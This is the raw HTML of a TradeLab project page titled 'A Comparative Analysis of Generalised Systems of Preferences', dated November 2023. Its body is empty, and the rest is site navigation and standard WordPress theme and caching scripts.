									<div class="nectar-mobile-only mobile-header"><div class="inner"></div></div>
									<a class="mobile-search" href="#searchbox"><span class="nectar-icon icon-salient-search" aria-hidden="true"></span><span class="screen-reader-text">search</span></a>
														<div class="slide-out-widget-area-toggle mobile-icon slide-out-from-right" data-custom-color="false" data-icon-animation="simple-transform">
						<div> <a href="#sidewidgetarea" role="button" aria-label="Navigation Menu" aria-expanded="false" class="closed">
							<span class="screen-reader-text">Menu</span><span aria-hidden="true"> <i class="lines-button x2"> <i class="lines"></i> </i> </span>
						</a></div>
					</div>
				
									<nav>
													<ul class="sf-menu">
								<li id="menu-item-290" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children nectar-regular-menu-item sf-with-ul menu-item-290"><a href="https://tradelab.org/about/"><span class="menu-title-text">About</span><span class="sf-sub-indicator"><i class="fa fa-angle-down icon-in-menu" aria-hidden="true"></i></span></a>
<ul class="sub-menu">
	<li id="menu-item-322" class="menu-item menu-item-type-post_type menu-item-object-page nectar-regular-menu-item menu-item-322"><a href="https://tradelab.org/about/governance/"><span class="menu-title-text">Governance</span></a></li>
	<li id="menu-item-338" class="menu-item menu-item-type-post_type menu-item-object-page nectar-regular-menu-item menu-item-338"><a href="https://tradelab.org/about/beneficiaries/"><span class="menu-title-text">Beneficiaries</span></a></li>
	<li id="menu-item-369" class="menu-item menu-item-type-post_type menu-item-object-page nectar-regular-menu-item menu-item-369"><a href="https://tradelab.org/about/mentors/"><span class="menu-title-text">Mentors</span></a></li>
	<li id="menu-item-349" class="menu-item menu-item-type-post_type menu-item-object-page nectar-regular-menu-item menu-item-349"><a href="https://tradelab.org/about/tradelab-fellows/"><span class="menu-title-text">Fellows</span></a></li>
</ul>
</li>
<li id="menu-item-13" class="menu-item menu-item-type-custom menu-item-object-custom nectar-regular-menu-item menu-item-13"><a href="/projects/"><span class="menu-title-text">Projects</span></a></li>
<li id="menu-item-150" class="menu-item menu-item-type-post_type menu-item-object-page nectar-regular-menu-item menu-item-150"><a href="https://tradelab.org/community/"><span class="menu-title-text">Community</span></a></li>
<li id="menu-item-195" class="menu-item menu-item-type-post_type menu-item-object-page nectar-regular-menu-item menu-item-195"><a href="https://tradelab.org/clinics/"><span class="menu-title-text">Clinics</span></a></li>
<li id="menu-item-215" class="menu-item menu-item-type-post_type menu-item-object-page nectar-regular-menu-item menu-item-215"><a href="https://tradelab.org/contact-us/"><span class="menu-title-text">Contact us</span></a></li>
<li id="menu-item-wpml-ls-2-en" class="menu-item wpml-ls-slot-2 wpml-ls-item wpml-ls-item-en wpml-ls-current-language wpml-ls-menu-item wpml-ls-first-item wpml-ls-last-item menu-item-type-wpml_ls_menu_item menu-item-object-wpml_ls_menu_item nectar-regular-menu-item menu-item-wpml-ls-2-en"><a href="https://tradelab.org/projects/a-comparative-analysis-of-generalised-systems-of-preferences/" title="EN"><span class="menu-title-text">
<span class="wpml-ls-display">EN</span></span></a></li>
							</ul>
													<ul class="buttons sf-menu" data-user-set-ocm="off">

								<li id="search-btn"><div><a href="#searchbox"><span class="icon-salient-search" aria-hidden="true"></span><span class="screen-reader-text">search</span></a></div> </li>
							</ul>
						
					</nav>

					
				</div><!--/span_9-->

				
			</div><!--/row-->
					</div><!--/container-->
	</header>		
	</div>
		<div id="ajax-content-wrap">

<div id="regular_portfolio"  data-featured-img="empty">
			
					
				<div class="row project-title">
					<div class="container">
						<div class="title-wrap">
						<div class="col span_12 section-title  ">
							
							<h1>A Comparative Analysis of Generalised Systems of Preferences</h1>
							
												 
						</div> 
					</div>
				</div> 
			</div><!--/row-->
			
				
	<div class="container-wrap" data-nav-pos="after_project" data-rm-header="false">
		
		<div class="container main-content"> 
			
						
			<div class="row  ">
				
				
<div class="post-area col span_9">
  
	  
	  
  
</div><!--/post-area-->

<div id="sidebar" class="col span_3 col_last" data-follow-on-scroll="0">
		
  <div id="sidebar-inner">
	
  	<div id="project-meta">

		<ul class="project-sharing" data-sharing-style="fixed"> 

		
			<li class="project-date">
				November 22, 2023			</li>
					  </ul><!--sharing-->

	  <div class="clear"></div>
	</div><!--project-meta-->
	
	  
	  </div>
  
</div><!--/sidebar-->				
			</div>

			  

		</div><!--/container-->

		<div class="bottom_controls"> <div class="container">				<div id="portfolio-nav">
											<ul>
							<li id="all-items"><a href="https://tradelab.org/projects" title="Back to all projects"><i class="icon-salient-back-to-all"></i></a></li>  
						</ul>
					
					<ul class="controls">    
				   								<li id="prev-link"><a href="https://tradelab.org/projects/retaliation-under-the-wto-system/" rel="next"><i class="fa fa-angle-left"></i><span>Previous Project</span></a></li>
								<li id="next-link"><a href="https://tradelab.org/projects/gold-standards-for-the-international-investment-policy-of-the-eu/" rel="prev"><span>Next Project</span><i class="fa fa-angle-right"></i></a></li> 
							   
					                             
				</ul>
				
			</div>
				
			</div></div>
	</div><!--/container-wrap-->

</div><!--/fullwidth-->


<div class="nectar-social fixed" data-position="" data-rm-love="0" data-color-override="override"><a href="#"><i class="icon-default-style steadysets-icon-share"></i></a><div class="nectar-social-inner"><a class='facebook-share nectar-sharing' href='#' title='Share this'> <i class='fa fa-facebook'></i> <span class='social-text'>Share</span> </a><a class='twitter-share nectar-sharing' href='#' title='Share this'> <i class='fa icon-salient-x-twitter'></i> <span class='social-text'>Share</span> </a><a class='linkedin-share nectar-sharing' href='#' title='Share this'> <i class='fa fa-linkedin'></i> <span class='social-text'>Share</span> </a><a class='pinterest-share nectar-sharing' href='#' title='Pin this'> <i class='fa fa-pinterest'></i> <span class='social-text'>Pin</span> </a></div></div>
<div id="footer-outer" data-midnight="light" data-cols="1" data-custom-color="true" data-disable-copyright="true" data-matching-section-color="true" data-copyright-line="false" data-using-bg-img="false" data-bg-img-overlay="0.8" data-full-width="false" data-using-widget-area="true" data-link-hover="default">
	
		
	<div id="footer-widgets" data-has-widgets="true" data-cols="1">
		
		<div class="container">
			
						
			<div class="row">
				
								
				<div class="col span_12">
					<div id="block-7" class="widget widget_block widget_media_image">
<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="310" height="69" src="https://tradelab.org/wp-content/uploads/2022/08/TradeLab-Logo.png" alt="TradeLab" class="wp-image-7" srcset="https://tradelab.org/wp-content/uploads/2022/08/TradeLab-Logo.png 310w, https://tradelab.org/wp-content/uploads/2022/08/TradeLab-Logo-300x67.png 300w" sizes="auto, (max-width: 310px) 100vw, 310px" /></figure>
</div><div id="block-8" class="widget widget_block"><p>[social_shortcode]</p>
</div><div id="block-9" class="widget widget_block widget_text">
<p class="has-text-align-center wp-block-paragraph" id="devby"><strong>Developed by</strong><br/><a rel="noreferrer noopener" href="https://swisstomato.ch/" data-type="URL" data-id="https://swisstomato.ch/" target="_blank">SwissTomato</a></p>
</div><div id="nav_menu-2" class="widget widget_nav_menu"><div class="menu-footer-menu-container"><ul id="menu-footer-menu" class="menu"><li id="menu-item-416" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-privacy-policy menu-item-416"><a rel="privacy-policy" href="https://tradelab.org/privacy-policy/">Privacy Policy</a></li>
<li id="menu-item-417" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-417"><a href="https://tradelab.org/terms-conditions/">Terms &#038; Conditions</a></li>
<li id="menu-item-410" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-410"><a href="https://tradelab.org/contact-us/">Contact</a></li>
</ul></div></div>					</div>
					
											
						
													
															
							</div>
													</div><!--/container-->
					</div><!--/footer-widgets-->
					
						
</div><!--/footer-outer-->


	<div id="slide-out-widget-area-bg" class="slide-out-from-right dark">
				</div>

		<div id="slide-out-widget-area" class="slide-out-from-right" data-dropdown-func="separate-dropdown-parent-link" data-back-txt="Back">

			<div class="inner-wrap">
			<div class="inner" data-prepend-menu-mobile="false">

				<a class="slide_out_area_close" href="#"><span class="screen-reader-text">Close Menu</span>
					<span class="close-wrap"> <span class="close-line close-line1"></span> <span class="close-line close-line2"></span> </span>				</a>


									<div class="off-canvas-menu-container mobile-only" role="navigation">

						
						<ul class="menu">
							<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-290"><a href="https://tradelab.org/about/">About</a>
<ul class="sub-menu">
	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-322"><a href="https://tradelab.org/about/governance/">Governance</a></li>
	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-338"><a href="https://tradelab.org/about/beneficiaries/">Beneficiaries</a></li>
	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-369"><a href="https://tradelab.org/about/mentors/">Mentors</a></li>
	<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-349"><a href="https://tradelab.org/about/tradelab-fellows/">Fellows</a></li>
</ul>
</li>
<li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-13"><a href="/projects/">Projects</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-150"><a href="https://tradelab.org/community/">Community</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-195"><a href="https://tradelab.org/clinics/">Clinics</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-215"><a href="https://tradelab.org/contact-us/">Contact us</a></li>
<li class="menu-item wpml-ls-slot-2 wpml-ls-item wpml-ls-item-en wpml-ls-current-language wpml-ls-menu-item wpml-ls-first-item wpml-ls-last-item menu-item-type-wpml_ls_menu_item menu-item-object-wpml_ls_menu_item menu-item-wpml-ls-2-en"><a href="https://tradelab.org/projects/a-comparative-analysis-of-generalised-systems-of-preferences/" title="EN"><span class="wpml-ls-display">EN</span></a></li>

						</ul>

						<ul class="menu secondary-header-items">
													</ul>
					</div>
					
				</div>

				<div class="bottom-meta-wrap"></div><!--/bottom-meta-wrap--></div> <!--/inner-wrap-->
				</div>
		
</div> <!--/ajax-content-wrap-->

	<a id="to-top" aria-label="Back to top" href="#" class="mobile-disabled"><i role="presentation" class="fa fa-angle-up"></i></a>
	</div></div><!--/ocm-effect-wrap--><script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/salient-child/*","/wp-content/themes/salient/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script>
	var relevanssi_rt_regex = /(&|\?)_(rt|rt_nonce)=(\w+)/g
	var newUrl = window.location.search.replace(relevanssi_rt_regex, '')
	if (newUrl.substr(0, 1) == '&') {
		newUrl = '?' + newUrl.substr(1)
	}
	history.replaceState(null, null, window.location.pathname + newUrl + window.location.hash)
</script>
<script id="salient-social-js-extra">
var nectarLove = {"ajaxurl":"https://tradelab.org/wp-admin/admin-ajax.php","postID":"2243","rooturl":"https://tradelab.org","loveNonce":"88fcd48fca"};
//# sourceURL=salient-social-js-extra
</script>
<script id="salient-social-js" src="https://tradelab.org/wp-content/plugins/salient-social/js/salient-social.js?ver=1.2.5"></script>
<script id="rocket-browser-checker-js-after">
"use strict";var _createClass=function(){function defineProperties(target,props){for(var i=0;i<props.length;i++){var descriptor=props[i];descriptor.enumerable=descriptor.enumerable||!1,descriptor.configurable=!0,"value"in descriptor&&(descriptor.writable=!0),Object.defineProperty(target,descriptor.key,descriptor)}}return function(Constructor,protoProps,staticProps){return protoProps&&defineProperties(Constructor.prototype,protoProps),staticProps&&defineProperties(Constructor,staticProps),Constructor}}();function _classCallCheck(instance,Constructor){if(!(instance instanceof Constructor))throw new TypeError("Cannot call a class as a function")}var RocketBrowserCompatibilityChecker=function(){function RocketBrowserCompatibilityChecker(options){_classCallCheck(this,RocketBrowserCompatibilityChecker),this.passiveSupported=!1,this._checkPassiveOption(this),this.options=!!this.passiveSupported&&options}return _createClass(RocketBrowserCompatibilityChecker,[{key:"_checkPassiveOption",value:function(self){try{var options={get passive(){return!(self.passiveSupported=!0)}};window.addEventListener("test",null,options),window.removeEventListener("test",null,options)}catch(err){self.passiveSupported=!1}}},{key:"initRequestIdleCallback",value:function(){!1 in window&&(window.requestIdleCallback=function(cb){var start=Date.now();return setTimeout(function(){cb({didTimeout:!1,timeRemaining:function(){return Math.max(0,50-(Date.now()-start))}})},1)}),!1 in window&&(window.cancelIdleCallback=function(id){return clearTimeout(id)})}},{key:"isDataSaverModeOn",value:function(){return"connection"in navigator&&!0===navigator.connection.saveData}},{key:"supportsLinkPrefetch",value:function(){var elem=document.createElement("link");return elem.relList&&elem.relList.supports&&elem.relList.supports("prefetch")&&window.IntersectionObserver&&"isIntersecting"in IntersectionObserverEntry.prototype}},{key:"isSlowConnection",value:function(){return"connection"in navigator&&"effectiveType"in navigator.connection&&("2g"===navigator.connection.effectiveType||"slow-2g"===navigator.connection.effectiveType)}}]),RocketBrowserCompatibilityChecker}();
//# sourceURL=rocket-browser-checker-js-after
</script>
<script id="rocket-preload-links-js-extra">
var RocketPreloadLinksConfig = {"excludeUris":"/(?:.+/)?feed(?:/(?:.+/?)?)?$|/(?:.+/)?embed/|/(index.php/)?(.*)wp-json(/.*|$)|/refer/|/go/|/recommend/|/recommends/","usesTrailingSlash":"1","imageExt":"jpg|jpeg|gif|png|tiff|bmp|webp|avif|pdf|doc|docx|xls|xlsx|php","fileExt":"jpg|jpeg|gif|png|tiff|bmp|webp|avif|pdf|doc|docx|xls|xlsx|php|html|htm","siteUrl":"https://tradelab.org","onHoverDelay":"100","rateThrottle":"3"};
//# sourceURL=rocket-preload-links-js-extra
</script>
<script id="rocket-preload-links-js-after">
(function() {
"use strict";var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e=function(){function i(e,t){for(var n=0;n<t.length;n++){var i=t[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}return function(e,t,n){return t&&i(e.prototype,t),n&&i(e,n),e}}();function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var t=function(){function n(e,t){i(this,n),this.browser=e,this.config=t,this.options=this.browser.options,this.prefetched=new Set,this.eventTime=null,this.threshold=1111,this.numOnHover=0}return e(n,[{key:"init",value:function(){!this.browser.supportsLinkPrefetch()||this.browser.isDataSaverModeOn()||this.browser.isSlowConnection()||(this.regex={excludeUris:RegExp(this.config.excludeUris,"i"),images:RegExp(".("+this.config.imageExt+")$","i"),fileExt:RegExp(".("+this.config.fileExt+")$","i")},this._initListeners(this))}},{key:"_initListeners",value:function(e){-1<this.config.onHoverDelay&&document.addEventListener("mouseover",e.listener.bind(e),e.listenerOptions),document.addEventListener("mousedown",e.listener.bind(e),e.listenerOptions),document.addEventListener("touchstart",e.listener.bind(e),e.listenerOptions)}},{key:"listener",value:function(e){var t=e.target.closest("a"),n=this._prepareUrl(t);if(null!==n)switch(e.type){case"mousedown":case"touchstart":this._addPrefetchLink(n);break;case"mouseover":this._earlyPrefetch(t,n,"mouseout")}}},{key:"_earlyPrefetch",value:function(t,e,n){var i=this,r=setTimeout(function(){if(r=null,0===i.numOnHover)setTimeout(function(){return i.numOnHover=0},1e3);else if(i.numOnHover>i.config.rateThrottle)return;i.numOnHover++,i._addPrefetchLink(e)},this.config.onHoverDelay);t.addEventListener(n,function e(){t.removeEventListener(n,e,{passive:!0}),null!==r&&(clearTimeout(r),r=null)},{passive:!0})}},{key:"_addPrefetchLink",value:function(i){return this.prefetched.add(i.href),new Promise(function(e,t){var n=document.createElement("link");n.rel="prefetch",n.href=i.href,n.onload=e,n.onerror=t,document.head.appendChild(n)}).catch(function(){})}},{key:"_prepareUrl",value:function(e){if(null===e||"object"!==(void 0===e?"undefined":r(e))||!1 in e||-1===["http:","https:"].indexOf(e.protocol))return null;var t=e.href.substring(0,this.config.siteUrl.length),n=this._getPathname(e.href,t),i={original:e.href,protocol:e.protocol,origin:t,pathname:n,href:t+n};return this._isLinkOk(i)?i:null}},{key:"_getPathname",value:function(e,t){var n=t?e.substring(this.config.siteUrl.length):e;return n.startsWith("/")||(n="/"+n),this._shouldAddTrailingSlash(n)?n+"/":n}},{key:"_shouldAddTrailingSlash",value:function(e){return this.config.usesTrailingSlash&&!e.endsWith("/")&&!this.regex.fileExt.test(e)}},{key:"_isLinkOk",value:function(e){return null!==e&&"object"===(void 0===e?"undefined":r(e))&&(!this.prefetched.has(e.href)&&e.origin===this.config.siteUrl&&-1===e.href.indexOf("?")&&-1===e.href.indexOf("#")&&!this.regex.excludeUris.test(e.href)&&!this.regex.images.test(e.href))}}],[{key:"run",value:function(){"undefined"!=typeof RocketPreloadLinksConfig&&new n(new RocketBrowserCompatibilityChecker({capture:!0,passive:!0}),RocketPreloadLinksConfig).init()}}]),n}();t.run();
}());

//# sourceURL=rocket-preload-links-js-after
</script>
<script id="jquery-easing-js" src="https://tradelab.org/wp-content/themes/salient/js/build/third-party/jquery.easing.min.js?ver=1.3"></script>
<script id="jquery-mousewheel-js" src="https://tradelab.org/wp-content/themes/salient/js/build/third-party/jquery.mousewheel.min.js?ver=3.1.13"></script>
<script id="nectar_priority-js" src="https://tradelab.org/wp-content/themes/salient/js/build/priority.js?ver=16.2.2"></script>
<script id="nectar-transit-js" src="https://tradelab.org/wp-content/themes/salient/js/build/third-party/transit.min.js?ver=0.9.9"></script>
<script id="nectar-waypoints-js" src="https://tradelab.org/wp-content/themes/salient/js/build/third-party/waypoints.js?ver=4.0.2"></script>
<script id="imagesLoaded-js" src="https://tradelab.org/wp-content/plugins/salient-portfolio/js/third-party/imagesLoaded.min.js?ver=4.1.4"></script>
<script id="hoverintent-js" src="https://tradelab.org/wp-content/themes/salient/js/build/third-party/hoverintent.min.js?ver=1.9"></script>
<script id="fancyBox-js" src="https://tradelab.org/wp-content/themes/salient/js/build/third-party/jquery.fancybox.js?ver=3.3.9"></script>
<script id="anime-js" src="https://tradelab.org/wp-content/themes/salient/js/build/third-party/anime.min.js?ver=4.5.1"></script>
<script id="superfish-js" src="https://tradelab.org/wp-content/themes/salient/js/build/third-party/superfish.js?ver=1.5.8"></script>
<script id="nectar-frontend-js-extra">
var nectarLove = {"ajaxurl":"https://tradelab.org/wp-admin/admin-ajax.php","postID":"2243","rooturl":"https://tradelab.org","disqusComments":"false","loveNonce":"88fcd48fca","mapApiKey":""};
var nectarOptions = {"delay_js":"false","quick_search":"false","react_compat":"disabled","header_entrance":"false","dropdown_hover_intent":"default","simplify_ocm_mobile":"0","mobile_header_format":"default","ocm_btn_position":"default","left_header_dropdown_func":"default","ajax_add_to_cart":"0","ocm_remove_ext_menu_items":"remove_images","woo_product_filter_toggle":"0","woo_sidebar_toggles":"true","woo_sticky_sidebar":"0","woo_minimal_product_hover":"default","woo_minimal_product_effect":"default","woo_related_upsell_carousel":"false","woo_product_variable_select":"default","woo_using_cart_addons":"false"};
var nectar_front_i18n = {"menu":"Menu","next":"Next","previous":"Previous","close":"Close"};
//# sourceURL=nectar-frontend-js-extra
</script>
<script id="nectar-frontend-js" src="https://tradelab.org/wp-content/themes/salient/js/build/init.js?ver=16.2.2"></script>
<script id="touchswipe-js" src="https://tradelab.org/wp-content/plugins/salient-core/js/third-party/touchswipe.min.js?ver=1.0"></script>
<script id="smush-lazy-load-js-before">
var smushLazyLoadOptions = {"autoResizingEnabled":false,"autoResizeOptions":{"precision":5,"skipAutoWidth":true}};
//# sourceURL=smush-lazy-load-js-before
</script>
<script id="smush-lazy-load-js" src="https://tradelab.org/wp-content/plugins/wp-smushit/app/assets/js/smush-lazy-load.min.js?ver=4.0.3"></script>
<script></script></body>
</html>